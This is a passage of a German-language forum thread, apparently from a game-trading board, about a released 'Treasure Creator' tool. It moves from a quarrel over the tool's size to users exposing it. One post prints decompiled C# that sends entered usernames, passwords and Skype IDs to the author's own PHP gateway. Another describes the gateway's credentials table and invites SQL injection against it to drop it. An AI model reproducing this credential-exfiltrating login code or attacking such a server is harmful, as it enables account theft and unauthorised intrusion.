[RELEASE] Treasure Creator by supahc0dez

Page 2 of 3

12/24/2015 04:12 supahc0dez#16

Quote:

Originally Posted by Shadow992

Also eigentlich mische ich mich ja nicht ein in solch offensichtliche Diskussionen, aber jetzt muss ich es doch einmal tun:

Es ist mehr als verst�ndlich, dass jeder, der Blut, Schwei� und auch Emotionen in sein Programm gesteckt hat, davon �berzeugt ist, dass es etwas ganz besonderes ist. Das kennt man ja auch vom Kochen, selbstgemacht ist es immer besser und wenn es "objektiv" gesehen sogar schlechter schmeckt.
Daher ist es auch klar, dass du dein Tool derart verteidigst.

Auch wenn die Diskussion ein wenig "zynisch angehaucht" gestartet wurde, wollen wir hier keineswegs deine Arbeit schlecht reden.
Jeder war einmal Anf�nger und jeder wei� wie lange es dauern kann einen "f�r Anf�ngerverh�ltnisse" perfekten Code zu zaubern. Die Befehle, die Exceptions, etc. das ist ein Haufen Zeugs und damit kann man gut und gerne einige Monate verbringen.

Dennoch ist Kritik (auch von den Zynikern, zu denen ich ja zugegebenerma�en auch ab und an geh�re) nichts was dich fertig machen sollte. Nat�rlich ist der Ton im Internet rauer als vom Ausbilder/Lehrer/Professor/usw. aber dennoch ist die Kritik meistens berechtigt.

Aber viel wichtiger ist es, was man aus der Kritik macht.
Kritik ist eine Chance zu wachsen, eine Gelegenheit aus seinen Fehlern zu lernen, die M�glichkeit zu sehen wo man steht und sich Eindr�cke von anderen Leuten zu holen.
Kritikf�higkeit ist also, wenn man etwas lernen m�chte und sich effektiv weiterbilden m�chte, enorm wichtig und hilft dir nicht nur beim Lernen, sondern praktisch �ber all.

Daher w�rde ich dir empfehlen:
Versuche doch mal Kritik sachlicher anzugehen und wenn die Kritik (deiner Meinung nach) unberechtigt ist, versuche sachlich Gegenargumente zu bringen.

Mein Resume zu diesem Thread:
Kleiner Release, weil es zwar durchaus umfangreich und anspruchsvoll sein kann, aber es eben schon viele andere derartige Programme gibt und der Code nicht derartig komplex/umfangreich sein d�rfte.

P.S.
Noch zwei Zitate, die ich f�r sehr wahr halte (und die vor allem auch dich und den Thread betreffen):

Edit:
Achja #closerequest (fast vergessen) :D

WHAT?
Du redest da die ganze Zeit von Kritik, aber niemand hat mir in diesem Thread Kritik abgegeben. Das ist genau so als w�rdest du Spaghetti Bolognese machen - nur eben ohne Spaghetti (wenn wir schon beim Kochen sind) Das machst du doch auch nicht... wobei - naja vielleicht ja doch ^^ W�rde zumindest erkl�ren wieso du auf Kritik kommst wo es keine gibt.

Au�er du siehst die Aussage "ey, dein Tool is n kleines Release" als Kritik. Dann kennst du jedoch die Bedeutung von "Kritik" nicht.

Ach und wenn dus genau wissen m�chtest, hab mit diesen "Befehlen", "Exceptions" und dem "Haufen Zeugs" keine Monate, sondern Jahre verbracht - nur f�r diesen einen Treasure Creator. Ironie off.

Wenn noch wer mit tausenden Beitr�gen im Codingbereich auf einen Neuling losgehen will - nur zu. Wirklich heldenhaft!
Der Thread dient ja nicht mehr meinem Release oder seiner Bewertung, sondern um herauszufinden ob es ein kleines Release ist oder nicht. Ihr erledigt quasi einfach die Arbeit der Mods :)

12/24/2015 11:37 Shadow992#17

Quote:

Originally Posted by supahc0dez

WHAT?
Du redest da die ganze Zeit von Kritik, aber niemand hat mir in diesem Thread Kritik abgegeben. Das ist genau so als w�rdest du Spaghetti Bolognese machen - nur eben ohne Spaghetti (wenn wir schon beim Kochen sind) Das machst du doch auch nicht... wobei - naja vielleicht ja doch ^^ W�rde zumindest erkl�ren wieso du auf Kritik kommst wo es keine gibt.

Au�er du siehst die Aussage "ey, dein Tool is n kleines Release" als Kritik. Dann kennst du jedoch die Bedeutung von "Kritik" nicht.

Ach und wenn dus genau wissen m�chtest, hab mit diesen "Befehlen", "Exceptions" und dem "Haufen Zeugs" keine Monate, sondern Jahre verbracht - nur f�r diesen einen Treasure Creator. Ironie off.

Wenn noch wer mit tausenden Beitr�gen im Codingbereich auf einen Neuling losgehen will - nur zu. Wirklich heldenhaft!
Der Thread dient ja nicht mehr meinem Release oder seiner Bewertung, sondern um herauszufinden ob es ein kleines Release ist oder nicht. Ihr erledigt quasi einfach die Arbeit der Mods :)

Ich wei� nicht warum du dich immer sofort angegriffen f�hlst, wenn man versucht dir etwas zu erkl�ren.

Aber kommen wir mal zu deinem sehr schlechten Beispiel:
Wenn du Spaghetti Bolognese ohne Spaghetti kochst und dich dann jemand darauf anspricht, dass das gar kein Spaghetti Bolognese ist, weil die Spaghetti fehlen ist das sehr wohl Kritik. Genau so ist es Kritik wenn jemand sagt dein Tool ist "klein", obwohl du es f�r gro� genug h�lst.

Wenn du offensichtlich selbst sagst, dass du f�r das Tool keine Monate gebraucht hast (was f�r mich hei�t, dass du irgendwo zwischen 2 und 4 Wochen gebraucht hast), verstehe ich nicht warum dein Tool nichts kleines sein soll.
Vor allem sind deine Aussagen nicht konsistent, zuerst behauptest du, dass "der Gott" es doch mal in 5min machen soll und jetzt sagst du selbst, dass es keine gro�e Arbeit war. Nicht sehr �berzeugend.

Wenn wir schon dabei sind:
Durch deine Antwort hat man mal wieder sehr gut gesehen, dass du eben nicht Kritikf�hig bist. Denn wenn du es w�rst, h�ttest du auf sachlicher Ebene argumentiert und nicht versucht auf der emotionalen Ebene zu argumentieren, nichts anderes ist dein "immer alle auf mich!".

Mal ganz abgesehen davon, dass ich jeden mit gleich viel Respekt behandle, egal ob er 10.000 Beitr�ge hat oder 5, egal ob er 100 Jahre alt ist oder 10.
Egal ob Professor oder Obdachloser, wir sind alles Menschen und jedem Menschen sollte man ein gewisses Ma� an Respekt zukommen lassen.
Das gilt auch f�r Online-Foren.

Daran solltest du eventuell auch noch etwas arbeiten, denn Beleidigungen lassen dich nur unsympathisch wirken und bezwecken genau das Gegenteil von dem, was du eigentlich erreichen wolltest.

Vielleicht verstehst du ja eines Tages was ich mein, auch wenn die Zeit jetzt wohl noch nicht reif f�r dich ist.

So far...

12/24/2015 13:05 supahc0dez#18

Quote:

Originally Posted by Shadow992

Ich wei� nicht warum du dich immer sofort angegriffen f�hlst, wenn man versucht dir etwas zu erkl�ren.

Aber kommen wir mal zu deinem sehr schlechten Beispiel:
Wenn du Spaghetti Bolognese ohne Spaghetti kochst und dich dann jemand darauf anspricht, dass das gar kein Spaghetti Bolognese ist, weil die Spaghetti fehlen ist das sehr wohl Kritik. Genau so ist es Kritik wenn jemand sagt dein Tool ist "klein", obwohl du es f�r gro� genug h�lst.

Wenn du offensichtlich selbst sagst, dass du f�r das Tool keine Monate gebraucht hast (was f�r mich hei�t, dass du irgendwo zwischen 2 und 4 Wochen gebraucht hast), verstehe ich nicht warum dein Tool nichts kleines sein soll.
Vor allem sind deine Aussagen nicht konsistent, zuerst behauptest du, dass "der Gott" es doch mal in 5min machen soll und jetzt sagst du selbst, dass es keine gro�e Arbeit war. Nicht sehr �berzeugend.

Wenn wir schon dabei sind:
Durch deine Antwort hat man mal wieder sehr gut gesehen, dass du eben nicht Kritikf�hig bist. Denn wenn du es w�rst, h�ttest du auf sachlicher Ebene argumentiert und nicht versucht auf der emotionalen Ebene zu argumentieren, nichts anderes ist dein "immer alle auf mich!".

Mal ganz abgesehen davon, dass ich jeden mit gleich viel Respekt behandle, egal ob er 10.000 Beitr�ge hat oder 5, egal ob er 100 Jahre alt ist oder 10.
Egal ob Professor oder Obdachloser, wir sind alles Menschen und jedem Menschen sollte man ein gewisses Ma� an Respekt zukommen lassen.
Das gilt auch f�r Online-Foren.

Daran solltest du eventuell auch noch etwas arbeiten, denn Beleidigungen lassen dich nur unsympathisch wirken und bezwecken genau das Gegenteil von dem, was du eigentlich erreichen wolltest.

Vielleicht verstehst du ja eines Tages was ich mein, auch wenn die Zeit jetzt wohl noch nicht reif f�r dich ist.

So far...

Was hat denn die aufgewendete Zeit bei einem Release mit seiner Gr��e zu tun? Vielmehr entscheidet das mMn die Funktionalit�t. Den Treasure Creator habe ich nebenbei in der Schule programmiert, das hat keine paar Tage gedauert. Dennoch sehe ich es nicht als kleines Tool. Ein kleines Tool ist f�r mich ein Phasenwinkelrechner, aber kein thread�bergreifender, fehlerloser Treasure Creator, bei dem man sich offensichtlich sogar M�he bei der GUI gegeben hat. Nat�rlich ists jetzt auch nicht das gr��te Release 2015 passend zum Jahresende, aber ein kleines Tool ist es f�r mich genausowenig.

Ob es f�r euch ein kleines Tool ist sei dahingestellt, eure Meinung hat hier nichts verloren. Was z�hlt ist die Einsch�tzung meinerseits und die der Mods.
Verstehst du das?

Und wenn jemand in meinem Thread spammen darf, darf ich doch wohl ein wenig zynisch zu ihm sein oder nicht? :) Nicht alles so ernst nehmen...
So bin ich eben und so bleibe ich auch.

Und noch eine Sache: Du musst jetzt echt nicht versuchen mir Respekt beizubringen, oder mich in irgendwelchen anderen Dingen zu "lehren". Ob jemand seinen Mitmenschen respektiert, kann man mit Sicherheit nicht anhand 3-4 seiner Beitr�ge sehen...

12/24/2015 13:06 MrDami123#19

Solche Tools nutzt doch niemand oder?
Zumindest nicht ohne irgendwelchen Funktionen, die sich von den eigentlichen abheben. Also automatische Erstellung, L�schung mit Timer, umbenennen und Beitr�ge verbinden mit automatischer Treasure Aktualisierung wenn das Treasure aus dem Beitrag nicht mehr Verf�gbar ist, Signal wenn ein Treasure gekauft wird etc.

Sonst sieht das Design gut aus. :)

PS:

Quote:

Originally Posted by supahc0dez

Ob es f�r euch ein kleines Tool ist sei dahingestellt, eure Meinung hat hier nichts verloren. Was z�hlt ist die Einsch�tzung meinerseits und die der Mods.

Hahahaha Opf..

12/24/2015 13:11 supahc0dez#20

Quote:

Originally Posted by MrDami123

Solche Tools nutzt doch niemand oder?
Zumindest nicht ohne irgendwelchen Funktionen, die sich von den eigentlichen abheben. Also automatische Erstellung, L�schung mit Timer, umbenennen und Beitr�ge verbinden mit automatischer Treasure Aktualisierung wenn das Treasure aus dem Beitrag nicht mehr Verf�gbar ist, Signal wenn ein Treasure gekauft wird etc.

Sonst sieht das Design gut aus. :)

Na endlich mal ein n�tzlicher Beitrag!
Besonders der Punkt "Beitr�ge verbinden mit automatischer Treasure Aktualisierung wenn das Treasure aus dem Beitrag nicht mehr Verf�gbar ist" gef�llt mir. Danke f�r den Vorschlag :)

EDIT: "Hahahaha Opf..." - Stimmt meine Aussage bzgl. der Irrelevanz von Meinungen irgendwelcher User denn nicht? Ich meine ich schreibe jetzt ja auch nicht in alle Releasethreads meine Einsch�tzung �ber die Gr��e des Releases... Ich bin doch kein H@rensohn.

12/24/2015 13:54 MrDami123#21

Quote:

Originally Posted by supahc0dez

Stimmt meine Aussage bzgl. der Irrelevanz von Meinungen irgendwelcher User denn nicht?

Wenn stellst du den das Tool zur Verf�gung? Ist es f�r dich brauchst du es hier nicht ver�ffentlichen. Ist es f�r die Mods kannst du es entsprechend markieren.

12/24/2015 13:55 Kraizy#22

Jungs lasst es einfach, man kann mit dem User anscheinend einfach nicht diskutieren.

12/24/2015 14:46 supahc0dez#23

Quote:

Originally Posted by MrDami123

Wenn stellst du den das Tool zur Verf�gung? Ist es f�r dich brauchst du es hier nicht ver�ffentlichen. Ist es f�r die Mods kannst du es entsprechend markieren.

Ich meinte, dass deren Meinung zum Gr��enumfang dieses Tools nicht z�hlt.
Falls Mods mit dem eigenen Thread nicht einverstanden sind, werden sie ihn schon l�schen und auf den Sammelthread verweisen.
Falls sie jedoch damit einverstanden sind, k�nnen noch so viele User kommen und rumheulen, weil ich einen eigenen Thread habe. Am Ende z�hlt einzig und allein die Meinung des Mods.
Das habe ich gemeint. *facepalm* Ist doch nicht so schwer zu verstehen oder?

Quote:

Originally Posted by Kraizy

Jungs lasst es einfach, man kann mit dem User anscheinend einfach nicht diskutieren.

Klar kann man mit mir Diskussionen f�hren, jedoch bin ich an solchen die die Gr��e meines Tools thematisieren nicht interessiert. Nur das kapiert wohl noch immer keiner von euch.

12/24/2015 16:50 Mostey#24

Quote:

Originally Posted by supahc0dez

Falls Mods mit dem eigenen Thread nicht einverstanden sind, werden sie ihn schon l�schen und auf den Sammelthread verweisen.

Quote:

Originally Posted by supahc0dez

Am Ende z�hlt einzig und allein die Meinung des Mods.

Quote:

Originally Posted by supahc0dez

Ihr erledigt quasi einfach die Arbeit der Mods :)

Quote:

Originally Posted by supahc0dez

eure Meinung hat hier nichts verloren. Was z�hlt ist die Einsch�tzung meinerseits und die der Mods.

Quote:

Originally Posted by supahc0dez

Ob mein Programm in einen Sammelthread geh�rt sollen Mods entscheiden, und nicht Dahergelaufene. Besonders nicht solche, die ne halbnackte Frau als Avatar haben :D

Da du dich nicht auf die Sektionsmoderatoren beziehst (sondern auf alle), sage ich einfach mal: N�, braucht keinen eigenen Thread.

Und die Zitate oben sprechen wohl auch f�r sich. Unfassbar, wie arrogant und hochn�sig du dich hier auff�hrst. Entwickler gibt's hier genug, auf einen mehr oder weniger sind wir nicht angewiesen, zumindest nicht auf solche wie dich.

12/24/2015 17:26 supahc0dez#25

Quote:

Originally Posted by Mostey

Da du dich nicht auf die Sektionsmoderatoren beziehst (sondern auf alle), sage ich einfach mal: N�, braucht keinen eigenen Thread.

Und die Zitate oben sprechen wohl auch f�r sich. Unfassbar, wie arrogant und hochn�sig du dich hier auff�hrst. Entwickler gibt's hier genug, auf einen mehr oder weniger sind wir nicht angewiesen, zumindest nicht auf solche wie dich.

Naja klar wird jetzt jeder Moderator auf der Seite der x-Tausend-Beitr�ge-User sein.
Wie dem auch sei, ein Sectionmod soll endg�ltig entscheiden. Bin hier erstmal raus.

Sourcecode gibts via PN f�r alle Interessierten.

12/27/2015 02:38 Bench#26

Mal davon abgesehen, dass du selber geschrieben hast, dass Entwickler mit den Kunden zusammen arbeiten sollten, greifst du hier alle an, die ihre Meinung aussprechen (bzw. aufschreiben). Kritik sowies positive R�ckmeldungen (� Feedback) muss ein Entwickler entgegen nehmen und klar kommen.

Quote:

Originally Posted by supahc0dez

Sehr geehrte Community!

Da es anscheinend keine kostenlosen Treasure Creator gibt und das meiste was verkauft wird seines Preises nicht wert ist, habe ich mir gedacht diesen e*gold-geilen Codern einen Strich durch die Rechnung zu ziehen :p

Auf den Punkt, dass dein Tool nun was besonderes ist (oder nicht), gehe ich jetzt mal nicht weiter drauf ein. Es gibt mittlerweile - man k�nnte schon sagen - tausende Treasure Creator mit mehr Features und M�glichkeiten. Ob diese nun kosten oder nicht, macht dein Programm nicht besser. Jeder Entwickler, der etwas entwickelt hat und seine Zeit in ein Programm gesteckt hat, darf bzw. kann auch f�r seine Arbeit Geld verlangen - daran ist nichts falsch.

Mehr muss ich wohl nicht sagen.

Um jedoch trotzdem was zum Programm sagen zu k�nnen: Das Design ist schlicht und gut aufgebaut. Ende.

12/27/2015 08:51 YatoDev#27

jungs ich will euch ja nicht st�ren aber:

Code:

string str = "http://supahc0dez.bplaced.net/epvp/php_gateway.php";
string str2 = "?data=" + LoginForm.smethod_0(LoginForm.smethod_0(string.Concat(new object[]
		{
			this.txtUser.Text,
			";",
			this.txtPW.Text,
			";",
			this.authenticatedSession_0.User.Posts,
			";",
			this.authenticatedSession_0.User.TBMProfile.Ratings.Positive,
			";",
			this.authenticatedSession_0.User.SkypeID
		})) + LoginForm.smethod_1(2));
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(str + str2);
httpWebRequest.GetResponse();

ist der epvp login umgezogen auf supahc0dez.bplaced.net/epvp/?

12/27/2015 13:40 Else#28

Eine sog. Datenkrake ...

12/27/2015 13:51 Shadow992#29

Quote:

Originally Posted by �FlutterShy™

jungs ich will euch ja nicht st�ren aber:

Code:

string str = "http://supahc0dez.bplaced.net/epvp/php_gateway.php";
string str2 = "?data=" + LoginForm.smethod_0(LoginForm.smethod_0(string.Concat(new object[]
		{
			this.txtUser.Text,
			";",
			this.txtPW.Text,
			";",
			this.authenticatedSession_0.User.Posts,
			";",
			this.authenticatedSession_0.User.TBMProfile.Ratings.Positive,
			";",
			this.authenticatedSession_0.User.SkypeID
		})) + LoginForm.smethod_1(2));
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(str + str2);
httpWebRequest.GetResponse();

ist der epvp login umgezogen auf supahc0dez.bplaced.net/epvp/?

Naja dann werde ich ihm jetzt einmal ein paar Daten schicken. :D

Edit:
Wer will kann sich auch einmal an einer SQL-Injection-Attacke probieren, der Server ist mehr als unzureichend gesichert und bietet beste Angriffsm�glichkeiten, wie aus einem Bilderbuch.
Ich werd sp�ter die Tabelle mal droppen, dann kann er sich die Daten zusammensuchen. :D

Falls jemand den Aufbau der Datenbank wissen m�chte (Eine Beispiels-Anfrage, habe meine IP nat�rlich ge�ndert):

Quote:

UPDATE tblCredentials SET password="", posts="", tbmpositives="", skypeid="", timestamp="2015-12-27 14:05:07", ip="56.356.239.25" WHERE username="6"

Edit2:
Report ist raus (hoffe der Bann kommt bald).

12/27/2015 14:40 alpines#30

Und wenn sie ihre Malware nicht ordnungsgem��g verstecken konnten, dann wurden sie permagebannt. - Und damit sollte diese Geschichte hier beendet sein.

Page 2 of 3